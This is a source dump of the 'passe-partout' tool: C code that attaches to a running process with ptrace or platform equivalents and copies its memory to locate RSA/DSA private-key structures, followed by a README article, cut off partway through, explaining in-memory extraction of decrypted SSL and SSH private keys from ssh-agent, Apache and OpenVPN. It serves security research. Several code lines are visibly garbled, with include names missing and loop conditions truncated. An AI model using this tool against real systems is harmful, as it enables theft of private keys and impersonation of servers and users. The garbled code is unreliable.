580 | } 581 | } 582 | } 583 | 584 | } 585 | } 586 | 587 | static void usage(char *n) 588 | { 589 | fprintf(stderr, "Usage : %s [-v] [-a from[-to]] pid\n", n); 590 | exit(EXIT_FAILURE); 591 | } 592 | 593 | int main(int argc, char **argv) { 594 | pid_t pid; 595 | proc_t p; 596 | int i; 597 | char *end; 598 | mapping_t *map, *map2; 599 | unsigned int off_start, off_end, min_key_size; 600 | unsigned long from, to; 601 | 602 | if ( argc < 2 ) 603 | usage(argv[0]); 604 | 605 | verbose = 0; 606 | from = 0; 607 | to = 0; 608 | min_key_size = (sizeof(RSA) < sizeof(DSA)) ? sizeof(RSA) : sizeof(DSA); 609 | 610 | for (i=1; isize; 669 | } 670 | if (dbg_map_cache(map) < 0) 671 | err(&p, "failed to map 0x%lx", from); 672 | 673 | find_keys(map, off_start, off_end-min_key_size); 674 | 675 | } else { 676 | if ( dbg_get_memory(&p) ) 677 | err(&p, "unable to fetch memory for process %d", pid); 678 | 679 | dbg_map_for_each(&p, map) { 680 | 681 | if (!map->data) 682 | continue; 683 | 684 | find_keys(map, 0, map->size-min_key_size); 685 | } 686 | } 687 | fprintf(stderr, "done for pid %d\n", p.pid); 688 | 689 | dbg_detach(&p); 690 | dbg_exit(&p); 691 | 692 | return EXIT_SUCCESS; 693 | } 694 | -------------------------------------------------------------------------------- /passe-partout-0.1/dbg.c: -------------------------------------------------------------------------------- 1 | /* this use /proc//maps + ptrace(2) */ 2 | #include 3 | #include 4 | #include 5 | #ifndef DBG_WIN 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #if defined(DBG_PTRACE) && !defined(DBG_SOLARIS) 16 | #include 17 | #elif defined(DBG_HPUX) 18 | #include 19 | #endif 20 | 21 | #ifndef _NSIG 22 | #ifndef NSIG 23 | #error "_NSIG and NSIG are not defined !" 24 | #endif 25 | #define _NSIG NSIG 26 | #endif 27 | 28 | #if defined(DBG_LINUX) 29 | #define PROC_MAPS_FMT "/proc/%s/maps" 30 | #elif defined(DBG_NETBSD) 31 | #define PROC_MAPS_FMT "/proc/%s/maps" 32 | #define PROC_MAPS_FMT2 "pmap -l -p %s" 33 | #elif defined(DBG_FREEBSD) 34 | #define PROC_MAPS_FMT "/proc/%s/map" 35 | #elif defined(DBG_OPENBSD) 36 | #define PROC_MAPS_FMT "procmap -l -p %s" 37 | #elif defined(DBG_SOLARIS) 38 | #define PROC_MAPS_FMT "/proc/%s/map" 39 | #define PTRACE_PEEKDATA 2 40 | #define PTRACE_ATTACH 9 41 | #define PTRACE_DETACH 7 42 | #include 43 | #elif defined(DBG_DARWIN) 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #endif 51 | 52 | #else /* DBG_WIN */ 53 | #include 54 | #endif 55 | 56 | #include "dbg.h" 57 | 58 | // FIXME 59 | #define MIN_USER_PTR ((void *) 0x00010000) 60 | #define MAX_USER_PTR ((void *) 0xc0000000) 61 | 62 | int dbg_verbose = 0; 63 | 64 | /* parse maps {{{ */ 65 | #if !defined(DBG_SOLARIS) && !defined(DBG_DARWIN) 66 | static mapping_t *parse_line(char *str) 67 | { 68 | char *file, *end; 69 | mapping_t *map; 70 | unsigned long from, to; 71 | int flags; 72 | size_t len; 73 | 74 | end = strchr(str, '\n'); 75 | if (end) 76 | *end = 0; 77 | 78 | /* parse mapping name */ 79 | file = strrchr(str, ' '); 80 | if (!file) { 81 | fprintf(stderr, "invalid mapping line: %s\n", str); 82 | return NULL; 83 | } 84 | 85 | if (!file[1] || !file[2]) { 86 | *file = 0; 87 | file = "anonymous"; 88 | } else { 89 | *file++ = 0; 90 | } 91 | 92 | len = strlen(file) + 1; 93 | map = malloc(sizeof(*map) + len); 94 | if (!map) return NULL; 95 | 96 | /* parse start address */ 97 | end = NULL; 98 | from = strtoul(str, &end, 16); 99 | if ((from < 0x1000) || (from & 0xfff) || !end || !end[1] 100 | #if defined(DBG_LINUX) || defined(DBG_NETBSD) || defined(DBG_OPENBSD) 101 | || (*end != '-') 102 | #elif defined(DBG_FREEBSD) 103 | || (*end != ' ') 104 | #endif 105 | ) { 106 | fprintf(stderr, "invalid mapping start address 0x%lx\n", from); 107 | return NULL; 108 | } 109 | 110 | str = end + 1; 111 | end = NULL; 112 | to = strtoul(str, &end, 16); 113 | if ((to < 0x1000) || (to & 0xfff) || (to <= from) 114 | || !end || (*end != ' ') || !end[1]) { 115 | fprintf(stderr, "invalid mapping end address 0x%lx\n", to); 116 | return NULL; 117 | } 118 | 119 | str = end + 1; 120 | #ifdef DBG_FREEBSD 121 | flags = 0; 122 | while ((*str != ' ') || (flags < 2)) { 123 | if (*str == ' ') 124 | ++flags; 125 | ++str; 126 | } 127 | ++str; 128 | #endif 129 | flags = 0; 130 | if (str[0] == 'r') flags |= DBGMAP_READ; 131 | if (str[1] == 'w') flags |= DBGMAP_WRITE; 132 | if (str[2] == 'x') flags |= DBGMAP_EXEC; 133 | #if defined(DBG_LINUX) || defined(DBG_NETBSD) || defined(DBG_OPENBSD) 134 | if (str[3] == 's') flags |= DBGMAP_SHARED; 135 | #endif 136 | printf("=> 0x%lx 0x%lx %s\n", from, to, str); 137 | 138 | map->next = NULL; 139 | map->data = NULL; 140 | map->address = from; 141 | map->size = (unsigned int) (to - from); 142 | map->flags = flags; 143 | map->name = (const char *) memcpy(map+1, file, len); 144 | map->proc = NULL; 145 | 146 | if (dbg_verbose > 2) 147 | fprintf(stdout, ">\t%24s 0x%lx 0x%x\n", file, map->address, map->size); 148 | 149 | return map; 150 | } 151 | #elif defined(DBG_SOLARIS) 152 | static mapping_t *parse_sunos_map(prmap_t *info) 153 | { 154 | int flags; 155 | mapping_t *map; 156 | 157 | map = malloc(sizeof(*map) + PRMAPSZ + 1); 158 | if (!map) return NULL; 159 | 160 | flags = 0; 161 | if (info->pr_mflags & MA_READ) flags |= DBGMAP_READ; 162 | if (info->pr_mflags & MA_WRITE) flags |= DBGMAP_WRITE; 163 | if (info->pr_mflags & MA_EXEC) flags |= DBGMAP_EXEC; 164 | if (info->pr_mflags & MA_SHARED) flags |= DBGMAP_SHARED; 165 | 166 | map->next = NULL; 167 | map->data = NULL; 168 | map->address = info->pr_vaddr; 169 | map->size = info->pr_size; 170 | map->flags = flags; 171 | map->name = (const char *) memcpy(map+1, info->pr_mapname, PRMAPSZ); 172 | ((char *)map->name)[PRMAPSZ] = 0; 173 | map->proc = NULL; 174 | 175 | return map; 176 | } 177 | #endif 178 | 179 | #if defined(DBG_DARWIN) 180 | static mapping_t * parse_darwin_maps(proc_t *p) { 181 | mapping_t *head, *prev, *tmp; 182 | head = NULL; 183 | 184 | kern_return_t res; 185 | task_t task; 186 | struct task_basic_info_64 taskinfo; 187 | mach_msg_type_number_t count; 188 | mach_vm_size_t size; 189 | mach_vm_address_t address; 190 | mach_port_t object_name; 191 | 192 | if ( task_for_pid(current_task(), p->pid, &task) != KERN_SUCCESS ) { 193 | printf("task_for_pid error\n"); 194 | return NULL; 195 | } 196 | count = TASK_BASIC_INFO_64_COUNT; 197 | res = task_info(task, TASK_BASIC_INFO_64, (task_info_t)&taskinfo, &count); 198 | 199 | if (res != KERN_SUCCESS) { 200 | return NULL; 201 | } 202 | 203 | for (address = 0; ; address += size) { 204 | count = VM_REGION_BASIC_INFO_COUNT_64; 205 | 206 | vm_region_basic_info_data_64_t info; 207 | res = mach_vm_region(task, &address, &size, VM_REGION_BASIC_INFO, 208 | (vm_region_info_t)&info, &count, &object_name); 209 | 210 | switch(res) { 211 | case KERN_SUCCESS: 212 | tmp = malloc(sizeof(mapping_t)); 213 | if ( tmp == NULL ) 214 | return NULL; 215 | if ( head ) 216 | prev->next = tmp; 217 | else 218 | head = tmp; 219 | prev = tmp; 220 | tmp->next = NULL; 221 | tmp->address = address; 222 | tmp->size = size; 223 | tmp->flags = 0; // to be written 224 | tmp->name = NULL; 225 | tmp->proc = p; 226 | break; 227 | case KERN_INVALID_ADDRESS: 228 | return head; 229 | break; 230 | default: 231 | printf("unknown return value %d\n", res); 232 | } 233 | if ( !(info.protection & VM_PROT_READ) ) { 234 | continue; 235 | } 236 | 237 | if (info.protection & VM_PROT_READ) tmp->flags |= DBGMAP_READ; 238 | if (info.protection & VM_PROT_WRITE) tmp->flags |= DBGMAP_WRITE; 239 | if (info.protection & VM_PROT_EXECUTE) tmp->flags |= DBGMAP_EXEC; 240 | if (info.shared) tmp->flags |= DBGMAP_SHARED; 241 | 242 | } 243 | // we shouldn't reach this 244 | return NULL; 245 | } 246 | #endif 247 | 248 | static int parse_maps(proc_t *p) 249 | { 250 | mapping_t *head; 251 | #ifndef DBG_DARWIN 252 | mapping_t *tail, *tmp; 253 | FILE *fp; 254 | char path[64]; 255 | #endif 256 | #if !defined(DBG_SOLARIS) && !defined(DBG_DARWIN) 257 | char line[128]; 258 | #endif 259 | #ifdef DBG_SOLARIS 260 | prmap_t sunos_map; 261 | #endif 262 | 263 | #ifndef DBG_DARWIN 264 | snprintf(path, 63, PROC_MAPS_FMT, p->pid_str); 265 | path[63] = 0; 266 | #endif 267 | 268 | #if defined(DBG_DARWIN) 269 | head = parse_darwin_maps(p); 270 | if ( !head ) { 271 | return -1; 272 | } 273 | #else 274 | 275 | #if defined(DBG_OPENBSD) 276 | fp = popen(path, "r"); 277 | if (!fp) { 278 | perror("popen"); 279 | return -1; 280 | } 281 | #else 282 | errno = 0; 283 | fp = fopen(path, "rb"); 284 | if (!fp) { 285 | #if defined(DBG_NETBSD) 286 | if (errno == ENOENT) { 287 | // /proc not mounted => try pmap 288 | snprintf(path, 63, PROC_MAPS_FMT2, p->pid_str); 289 | path[63] = 0; 290 | fp = popen(path, "r"); 291 | if (!fp) { 292 | perror("popen"); 293 | return -1; 294 | } 295 | } 296 | #endif 297 | if (!fp) { 298 | perror("open"); 299 | return -1; 300 | } 301 | } 302 | #endif 303 | head = NULL; 304 | tail = NULL; 305 | 306 | #if defined(DBG_SOLARIS) 307 | while (fread(&sunos_map, sizeof(sunos_map), 1, fp)) { 308 | tmp = parse_sunos_map(&sunos_map); 309 | #else 310 | while (fgets(line, sizeof(line), fp)) { 311 | tmp = parse_line(line); 312 | #endif 313 | if (tmp) { 314 | tmp->proc = p; 315 | if (head) 316 | tail->next = tmp; 317 | else 318 | head = tmp; 319 | tail = tmp; 320 | } 321 | } 322 | 323 | 324 | fclose(fp); 325 | #endif 326 | 327 | p->maps = head; 328 | return 0; 329 | } 330 | 331 | /* }}} */ 332 | 333 | /* maps helpers {{{ */ 334 | 335 | mapping_t *dbg_map_lookup_by_address( 336 | proc_t *p, 337 | xaddr_t addr, 338 | unsigned int *off) 339 | { 340 | mapping_t *map; 341 | 342 | /* FIXME too slow ... */ 343 | for (map=p->maps; map; map=map->next) { 344 | if (map->address > addr) 345 | break; 346 | if (addr < (map->address + map->size)) { 347 | if (off) 348 | *off = addr - map->address; 349 | return map; 350 | } 351 | } 352 | 353 | return NULL; 354 | } 355 | 356 | int dbg_maps_lookup( 357 | proc_t *p, 358 | int flags, 359 | const char *name, 360 | mapping_t ***mappings) 361 | { 362 | int c; 363 | mapping_t **maps, *map, **bak; 364 | 365 | *mappings = NULL; 366 | 367 | //fprintf(stderr, "maps_lookup(flags=%i, name=%s)\n", 368 | // flags, name ? name : "NULL"); 369 | 370 | for (map=p->maps, c=0, maps=NULL; map; map=map->next) { 371 | //if ((map->flags & flags) != flags) 372 | // continue; 373 | //fprintf(stderr, "%i %i %s\n", map->flags, flags, map->name); 374 | if (flags && (map->flags != flags)) 375 | continue; 376 | if (name && !strstr(map->name, name)) 377 | continue; 378 | if (0) { 379 | fprintf(stderr, "==> %s %s %s\n", map->name, name, 380 | strstr(map->name, name) ? 381 | strstr(map->name, name) : "NULL"); 382 | } 383 | 384 | bak = maps; 385 | maps = realloc(maps, (c+1)*sizeof(mapping_t *)); 386 | if (!maps) { 387 | if (bak) 388 | free(bak); 389 | return DBGERR_ENOMEM;; 390 | } 391 | maps[c] = map; 392 | ++c; 393 | } 394 | 395 | *mappings = maps; 396 | 397 | return c; 398 | } 399 | 400 | mapping_t *dbg_map_lookup(proc_t *p, int flags, const char *name) 401 | { 402 | int ret; 403 | mapping_t **maps, *map; 404 | 405 | ret = dbg_maps_lookup(p, flags, name, &maps); 406 | fprintf(stderr, "retcount: %i\n", ret); 407 | map = (ret == 1 ? *maps : NULL); 408 | 409 | if (ret > 0) 410 | free(maps); 411 | 412 | return map; 413 | } 414 | 415 | 416 | mapping_t *dbg_map_get_stack(proc_t *p) 417 | { 418 | #if defined(DBG_LINUX) 419 | mapping_t *map; 420 | map = dbg_map_lookup(p, DBGMAP_READ|DBGMAP_WRITE, "[stack]"); 421 | if (!map) 422 | map = dbg_map_lookup(p, DBGMAP_READ|DBGMAP_WRITE|DBGMAP_EXEC, "[stack]"); 423 | return map; 424 | #else 425 | return NULL; 426 | #endif 427 | } 428 | 429 | int dbg_map_cache(mapping_t *map) 430 | { 431 | void *buf; 432 | int ret; 433 | 434 | if (map->data) // already mapped 435 | return 1; 436 | 437 | buf = malloc(map->size); 438 | if (!buf) { 439 | fprintf(stderr, "error: failed to alloc %u bytes\n", map->size); 440 | return DBGERR_ENOMEM;; 441 | } 442 | 443 | ret = dbg_read(map->proc, map->address, buf, map->size); 444 | if (!ret) { 445 | map->data = buf; 446 | } else { 447 | fprintf(stderr, "error: failed to read %u bytes\n", map->size); 448 | free(buf); 449 | } 450 | 451 | return ret; 452 | } 453 | 454 | /* }}} */ 455 | 456 | /* open/close {{{ */ 457 | 458 | static proc_t *ptraced_proc = NULL; 459 | 460 | static void killme(int sig, siginfo_t *si, void *bla) 461 | { 462 | /* 463 | const char *signames[33] = { 464 | "0", 465 | "SIGHUP", 466 | "SIGINT", 467 | "SIGQUIT", 468 | "SIGILL", 469 | "SIGTRAP", // 5 470 | "SIGABRT", 471 | "SIGBUS", 472 | "SIGFPE", 473 | "SIGKILL", 474 | "SIGUSR1", // 10 475 | "SIGSEGV", 476 | "SIGUSR2", 477 | "SIGPIPE", 478 | "SIGALRM", 479 | "SIGTERM", // 15 480 | "SIGSTKFLT", 481 | "SIGCHLD", 482 | "SIGCONT", 483 | "SIGSTOP", 484 | "SIGTSTP", // 20 485 | "SIGTTIN", 486 | "SIGTTOU", 487 | "SIGURG", 488 | "SIGXCPU", 489 | "SIGXFSZ", // 25 490 | "SIGVTALRM", 491 | "SIGPROF", 492 | "SIGWINCH", 493 | "SIGIO", 494 | "SIGPWR", // 30 495 | "SIGSYS", 496 | }; 497 | 498 | if (sig < 32) 499 | printf("on_signal(%d - %s) from %u\n", sig, signames[sig], si->si_pid); 500 | else 501 | printf("on_signal(%d)\n", sig); 502 | */ 503 | 504 | if (sig == SIGCHLD) { 505 | if (dbg_verbose) 506 | fprintf(stderr, "dbg: attached to process %u\n", si->si_pid); 507 | return; 508 | } 509 | dbg_detach(ptraced_proc); 510 | ptraced_proc = NULL; 511 | fprintf(stderr, "killed\n"); 512 | exit(0); 513 | } 514 | 515 | 516 | 517 | int dbg_init(proc_t *p, pid_t pid) 518 | { 519 | int ret; 520 | unsigned int i; 521 | struct sigaction sa; 522 | 523 | if (ptraced_proc) 524 | return DBGERR_NOT_IMPLEMENTED; /* TODO */ 525 | 526 | if (!pid || (pid == getpid()) || (pid == getppid())) 527 | return DBGERR_BAD_PID; 528 | 529 | memset(p, 0, sizeof(*p)); 530 | p->pid = pid; 531 | snprintf(p->pid_str, 8, "%u", pid); 532 | ptraced_proc = p; 533 | 534 | ret = parse_maps(p); 535 | if (ret) { 536 | ptraced_proc = NULL; 537 | return ret; 538 | } 539 | 540 | /* catch signals to avoid leaving the child ptraced */ 541 | memset(&sa, 0, sizeof(sa)); 542 | for (i=1; i<_NSIG-1; ++i) { /* FIXME */ 543 | sa.sa_flags = SA_SIGINFO; 544 | sa.sa_sigaction = killme; 545 | switch (i) { 546 | case SIGKILL: 547 | case SIGSTOP: 548 | break; 549 | default: 550 | sigaction(i, &sa, NULL); 551 | } 552 | } 553 | 554 | return 0; 555 | } 556 | 557 | void dbg_exit(proc_t *p) 558 | { 559 | mapping_t *tmp, *next; 560 | 561 | for (tmp=p->maps; tmp; tmp=next) { 562 | if (tmp->data) 563 | free(tmp->data); 564 | next = tmp->next; 565 | free(tmp); 566 | } 567 | memset(p, 0, sizeof(*p)); 568 | } 569 | 570 | /* }}} */ 571 | 572 | /* attach / detach {{{ */ 573 | 574 | int dbg_attach(proc_t *p, int mode) 575 | { 576 | #ifdef DBG_DARWIN 577 | // no ptrace needed to dump memory 578 | #elif defined(DBG_SOLARIS) 579 | char path[64]; 580 | 581 | snprintf(path, sizeof(path)-1, "/proc/%s/as", p->pid_str); 582 | p->mem_fd = open(path, O_RDONLY); 583 | if (p->mem_fd < 0) { 584 | perror("open"); 585 | return -1; 586 | } 587 | #else 588 | int status; 589 | 590 | if (p->flags & DBGPROC_TRACED) 591 | return DBGERR_ALREADY_ATTACHED; 592 | 593 | p->flags |= DBGPROC_TRACED; 594 | 595 | 596 | #if defined(DBG_HPUX) 597 | if (ttrace(TT_PROC_ATTACH, p->pid, 0, 0, TT_VERSION, 0)) { 598 | #elif defined(DBG_LINUX) 599 | if (ptrace(PTRACE_ATTACH, p->pid, 0, 0)) { 600 | #elif defined(DBG_FREEBSD) || defined(DBG_NETBSD) || defined(DBG_OPENBSD) 601 | if (ptrace(PT_ATTACH, p->pid, 0, 0)) { 602 | #elif defined(DBG_MACOSX) 603 | if (ptrace(PT_ATTACH, p->pid, 0, 0, 0)) { 604 | #elif defined(DBG_SOLARIS) 605 | printf("toto\n"); 606 | if (ptrace(9, p->pid, 0, 0)) { 607 | #endif 608 | p->flags &= ~DBGPROC_TRACED; 609 | if (errno == EPERM) 610 | return DBGERR_ENOPERM; 611 | #ifndef DBG_HPUX 612 | perror("ptrace"); 613 | #else 614 | perror("ttrace"); 615 | #endif 616 | return -1; 617 | } 618 | 619 | #ifndef DBG_HPUX 620 | /* all OS with ptrace interface */ 621 | 622 | /* wait ptraced child to stop */ 623 | alarm(5); 624 | wait(&status); 625 | alarm(0); 626 | 627 | if (!WIFSTOPPED(status)) { 628 | dbg_detach(p); 629 | return DBGERR_TARGET_KILLED; 630 | } 631 | #endif // DBG_HPUX 632 | #endif 633 | return 0; 634 | } 635 | 636 | void dbg_detach(proc_t *p) 637 | { 638 | if (p->flags & DBGPROC_TRACED) { 639 | #if defined(DBG_LINUX) 640 | ptrace(PTRACE_DETACH, p->pid, 0, 0); 641 | #elif defined(DBG_SOLARIS) 642 | //ptrace(PTRACE_DETACH, p->pid, 1, 0); 643 | close(p->mem_fd); 644 | p->mem_fd = -1; 645 | #elif defined(DBG_FREEBSD) || defined(DBG_NETBSD) || defined(DBG_OPENBSD) 646 | ptrace(PT_DETACH, p->pid, 0, 0); 647 | #elif defined(DBG_HPUX) 648 | ttrace(TT_PROC_DETACH, pid, 0, 0, 0, 0); 649 | #endif 650 | p->flags &= ~DBGPROC_TRACED; 651 | if (dbg_verbose) 652 | fprintf(stdout, "dbg: detached from process %u\n", p->pid); 653 | } 654 | } 655 | 656 | /* }}} */ 657 | 658 | /* get/set registers {{{ */ 659 | int dbg_get_regs(proc_t *p, void *regs) 660 | { 661 | #if defined(DBG_LINUX) 662 | return ptrace(PTRACE_GETREGS, p->pid, NULL, regs); 663 | #else 664 | return DBGERR_NOT_IMPLEMENTED; /* TODO */ 665 | #endif 666 | } 667 | 668 | int dbg_set_regs(proc_t *p, const void *regs) 669 | { 670 | #if defined(DBG_LINUX) 671 | return ptrace(PTRACE_SETREGS, p->pid, NULL, regs); 672 | #else 673 | return DBGERR_NOT_IMPLEMENTED; /* TODO */ 674 | #endif 675 | } 676 | /* }}} */ 677 | 678 | int dbg_continue(proc_t *p) 679 | { 680 | #if defined(DBG_LINUX) 681 | return ptrace(PTRACE_CONT, p->pid, NULL, NULL); 682 | #else 683 | return DBGERR_NOT_IMPLEMENTED; /* TODO */ 684 | #endif 685 | } 686 | 687 | char *dbg_get_binpath(proc_t *p) 688 | { 689 | #if defined(DBG_LINUX) 690 | ssize_t ret; 691 | size_t len; 692 | char *bak, *real_path, path[64]; 693 | 694 | snprintf(path, 63, "/proc/%s/exe", p->pid_str); 695 | path[63] = 0; 696 | 697 | len = 0; 698 | real_path = NULL; 699 | do { 700 | bak = real_path; 701 | real_path = realloc(real_path, len+256); 702 | if (!real_path) { 703 | if (bak) 704 | free(bak); 705 | return NULL; 706 | } 707 | len += 256; 708 | 709 | ret = readlink(path, real_path, len-1); 710 | if (ret > 0) { 711 | real_path[ret] = 0; 712 | return real_path; 713 | } 714 | } while (errno == ENAMETOOLONG); 715 | return NULL; 716 | #else 717 | return NULL; 718 | #endif 719 | } 720 | 721 | /* read/write mem {{{ */ 722 | 723 | int dbg_read(proc_t *p, xaddr_t addr, void *buf, unsigned int size) 724 | { 725 | #if defined(DBG_HPUX) 726 | return ttrace(TTRACE_READ, p->pid, 0, addr, size, buf); 727 | #elif defined(DBG_DARWIN) 728 | unsigned int tmp = size; 729 | 730 | task_t task; 731 | 732 | if ( task_for_pid(current_task(), p->pid, &task) != KERN_SUCCESS ) { 733 | printf("task_for_pid error\n"); 734 | return -1; 735 | } 736 | 737 | kern_return_t res = vm_read_overwrite(task, addr, size, (unsigned long) buf, &tmp); 738 | switch(res) { 739 | case KERN_SUCCESS: 740 | return 0; 741 | case KERN_PROTECTION_FAILURE: 742 | fprintf(stderr, "KERN_PROTECTION_FAILURE %p\n", (void *) addr); 743 | return -1; 744 | case KERN_INVALID_ADDRESS: 745 | fprintf(stderr, "KERN_INVALID_ADDRESS %p\n", (void *) addr); 746 | return -1; 747 | } 748 | printf("unknown return value %d @%p\n", res, (void *) addr); 749 | return -1; 750 | #elif defined(DBG_SOLARIS) 751 | ssize_t ret; 752 | 753 | if (lseek(p->mem_fd, (off_t)addr, SEEK_SET) != (off_t)addr) { 754 | perror("lseek"); 755 | return -1; 756 | } 757 | ret = read(p->mem_fd, buf, size); 758 | if (ret < 0) 759 | return -1; 760 | return size != (unsigned int) ret; 761 | 762 | #elif defined(DBG_WIN) 763 | DWORD len; 764 | 765 | len = 0; 766 | if (ReadProcessMemory(p->handle, addr, buf, (DWORD)size, &len)) 767 | return 0; 768 | return win_to_dbgerr(); 769 | #else 770 | unsigned int i; 771 | long ret, *out; 772 | 773 | for (i=0, out=(long*)buf; ipid, addr+i, 1); 778 | #elif defined(DBG_FREEBSD) || defined(DBG_OPENBSD) || defined(DBG_NETBSD) 779 | ret = ptrace(PT_READ_D, p->pid, (caddr_t)(addr+i), 0); 780 | #elif defined(DBG_MACOSX) 781 | ret = ptrace(PT_READ_D, p->pid, addr+i, 0, 0); 782 | #endif 783 | if ((ret == -1) && errno) { 784 | fprintf(stderr, "error: cannot fetch word @ 0x%lx\n", addr+i); 785 | if (errno == ESRCH) { 786 | /* ESRCH also means access denied ! */ 787 | fprintf(stderr, 788 | "ptrace: access denied or process has terminated\n"); 789 | } else { 790 | perror("ptrace"); 791 | } 792 | return -1; 793 | } 794 | *out = ret; 795 | } 796 | return 0; 797 | #endif 798 | } 799 | /* }}} */ 800 | 801 | /* read helpers {{{ */ 802 | void *dbg_xlate_ptr(proc_t *p, xaddr_t addr) 803 | { 804 | mapping_t *map; 805 | unsigned int off; 806 | 807 | map = dbg_map_lookup_by_address(p, addr, &off); 808 | if (!map) 809 | return NULL; 810 | if ((addr < map->address) 811 | || (addr > (map->address + map->size - 4))) { 812 | return NULL; 813 | } 814 | 815 | return map->data + off; 816 | } 817 | 818 | int dbg_read_ptr(proc_t *p, xaddr_t addr, xaddr_t *v) 819 | { 820 | if (!(p->flags & DBGPROC_TRACED)) 821 | return DBGERR_NOT_ATTACHED; 822 | 823 | /* FIXME : ptr size .. 32/64 */ 824 | return dbg_read(p, addr, v, sizeof(*v)); 825 | } 826 | 827 | int dbg_get_memory(proc_t *p) { 828 | 829 | mapping_t * map; 830 | int error = 0; 831 | dbg_map_for_each(p, map) { 832 | 833 | if (((map->flags & (DBGMAP_READ|DBGMAP_WRITE)) != (DBGMAP_READ|DBGMAP_WRITE)) 834 | || (map->flags & DBGMAP_SHARED)) 835 | continue; 836 | 837 | if (dbg_map_cache(map)) { 838 | fprintf(stderr, "error reading %d bytes at %p\n", map->size, (void *)map->address); 839 | error = 1; 840 | } 841 | } 842 | 843 | return error; 844 | } 845 | /* }}} */ 846 | 847 | // vim: ts=3 sw=3 fdm=marker 848 | -------------------------------------------------------------------------------- /README.extended: -------------------------------------------------------------------------------- 1 | Homepage: http://www.hsc.fr/ressources/outils/passe-partout/index.html.en 2 | 3 | Source: http://www.hsc.fr/ressources/breves/passe-partout.html.en 4 | 5 | Obtenir les clés SSL en mémoire d'un processus 6 | by Nicolas Collignon et Jean-Baptiste Aviat (04/06/10) 7 | 8 | ------------[ In-memory extraction of SSL private keys ]---------------- 9 | 10 | 11 | Cet article est disponible en francais à passe-partout.html.fr. 12 | 13 | The tool passe-partout presented all along this tip can be found at passe-partout. 14 | 15 | 16 | --[ 1. Introduction ]--------------------------------------------------- 17 | 18 | Asymetric cryptography usage is growing for software with important 19 | confidentiality needs. The security of those algorithms depends on the private 20 | key confidentiality. Usually, software manipulating RSA or DSA secret keys ask 21 | the user a password in order to decipher the private key stored on the 22 | filesystem. 23 | 24 | Among them can be found : 25 | - Apache HTTP server, which unciphers private keys associated to SSL 26 | certificates at startup ; 27 | - ssh-agent for SSH keys (RSA or DSA) ; 28 | - OpenVPN for server or client certificates, depending on its usage. 29 | 30 | This article presents a generic method allowing to extract OpenSSL private keys 31 | hold in a process memory, and describe it's usage for the three software 32 | previously cited. 33 | 34 | --[ 2. OpenSSL data structures ]---------------------------------------- 35 | 36 | ----[ 2.1 RSA structure ]----------------------------------------------- 37 | 38 | OpenSSL RSA man page rsa(3) provides the main pieces of information related 39 | to the RSA structure used by libcrypto: 40 | 41 | =============== rsa(2) extract ==================================== 42 | 43 | These functions implement RSA public key encryption and signatures as 44 | defined in PKCS #1 v2.0 [RFC 2437]. 45 | 46 | The RSA structure consists of several BIGNUM components. It can contain 47 | public as well as private RSA keys: 48 | 49 | struct 50 | { 51 | BIGNUM *n; // public modulus 52 | BIGNUM *e; // public exponent 53 | BIGNUM *d; // private exponent 54 | BIGNUM *p; // secret prime factor 55 | BIGNUM *q; // secret prime factor 56 | BIGNUM *dmp1; // d mod (p-1) 57 | BIGNUM *dmq1; // d mod (q-1) 58 | BIGNUM *iqmp; // q^-1 mod p 59 | // ... 60 | }; 61 | RSA 62 | =================================================================== 63 | 64 | 65 | 66 | This structure includes all the integers involved in RSA signing and ciphering 67 | (n, e, d), and some integers involved in speed optimizations. 68 | 69 | ----[ 2.2 DSA structure ]----------------------------------------------- 70 | 71 | OpenSSL DSA man page dsa(3) describes the data structures and the main 72 | functions: 73 | 74 | =============== dsa(3) extract ==================================== 75 | 76 | The DSA structure consists of several BIGNUM components. 77 | 78 | struct 79 | { 80 | BIGNUM *p; // prime number (public) 81 | BIGNUM *q; // 160-bit subprime, q | p-1 (public) 82 | BIGNUM *g; // generator of subgroup (public) 83 | BIGNUM *priv_key; // private key x 84 | BIGNUM *pub_key; // public key y = g^x 85 | // ... 86 | } 87 | DSA; 88 | =================================================================== 89 | 90 | 91 | ----[ 2.3 BIGNUM structure ]-------------------------------------------- 92 | 93 | Once again, bn_internal(3) OpenSSL manpage describes data structures and main 94 | methods: 95 | 96 | =============== /usr/include/openssl/bn.h extract ====== 97 | 98 | struct bignum_st 99 | { 100 | BN_ULONG *d; /* Pointer to an array of 'BN_BITS2' bit chunks. */ 101 | int top; /* Index of last used d +1. */ 102 | /* The next are internal book keeping for bn_expand. */ 103 | int dmax; /* Size of the d array. */ 104 | int neg; /* one if the number is negative */ 105 | int flags; 106 | }; 107 | =================================================================== 108 | 109 | 110 | This quite simple structure provides OpenSSL the ability to store big integers, 111 | since RSA keys may hold thousands of bits. 112 | 113 | --[ 3. in-memory private keys storage ? ]------------------------------- 114 | 115 | ----[ 3.1. ssh-agent ]-------------------------------------------------- 116 | 117 | Extract from ssh-agent(1) manpage: 118 | 119 | 120 | "ssh-agent is a program to hold private keys used for public key 121 | authentication (RSA, DSA). The idea is that ssh-agent is started in 122 | the beginning of an X-session or a login session, and all other 123 | windows or programs are started as clients to the ssh-agent program." 124 | 125 | 126 | 127 | Private keys are registered in ssh-agent by ssh-add using the socket specified 128 | in environment variables. When a private key is added, the key is deciphered if 129 | necessary in order to be available for some time and stored into memory. 130 | 131 | The file key.h, included by ssh-agent.c, has the following structures: 132 | 133 | ============= extract of key.h,v 1.24 =========== 134 | 135 | ================================================= 136 | 137 | 138 | 139 | This file also contains the RSA and DSA keys data structures of libcrypto: 140 | 141 | ============= key.h extract,v 1.24 =========== 142 | 143 | struct Key { 144 | int type; 145 | int flags; 146 | RSA *rsa; <=== 147 | DSA *dsa; <=== 148 | }; 149 | ================================================= 150 | 151 | 152 | 153 | "RSA" and "DSA" structures have all the informations needed to extract private 154 | key in clear-text (decrypted). 155 | 156 | $ ldd /usr/bin/ssh-agent | grep libcrypto 157 | libcrypto.so.0.9.8 => /usr/lib/i686/cmov/libcrypto.so.0.9.8 (0xb7d8a000) 158 | 159 | 160 | 161 | Since the 12 of Augoust 2002, setgid(2) and setegid(2) calls have been added 162 | to the ssh-agent source code in order to prevent the process memory to be 163 | read by any non-root user: 164 | 165 | URL:http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/ssh-agent.c.diff?r1=1.99&r2=1.98&f=h 166 | 167 | 168 | 169 | ----[ 3.2. Apache ]----------------------------------------------------- 170 | 171 | Thanks to mod_ssl, Apache2 is able to serve websites over HTTPS. 172 | 173 | 174 | 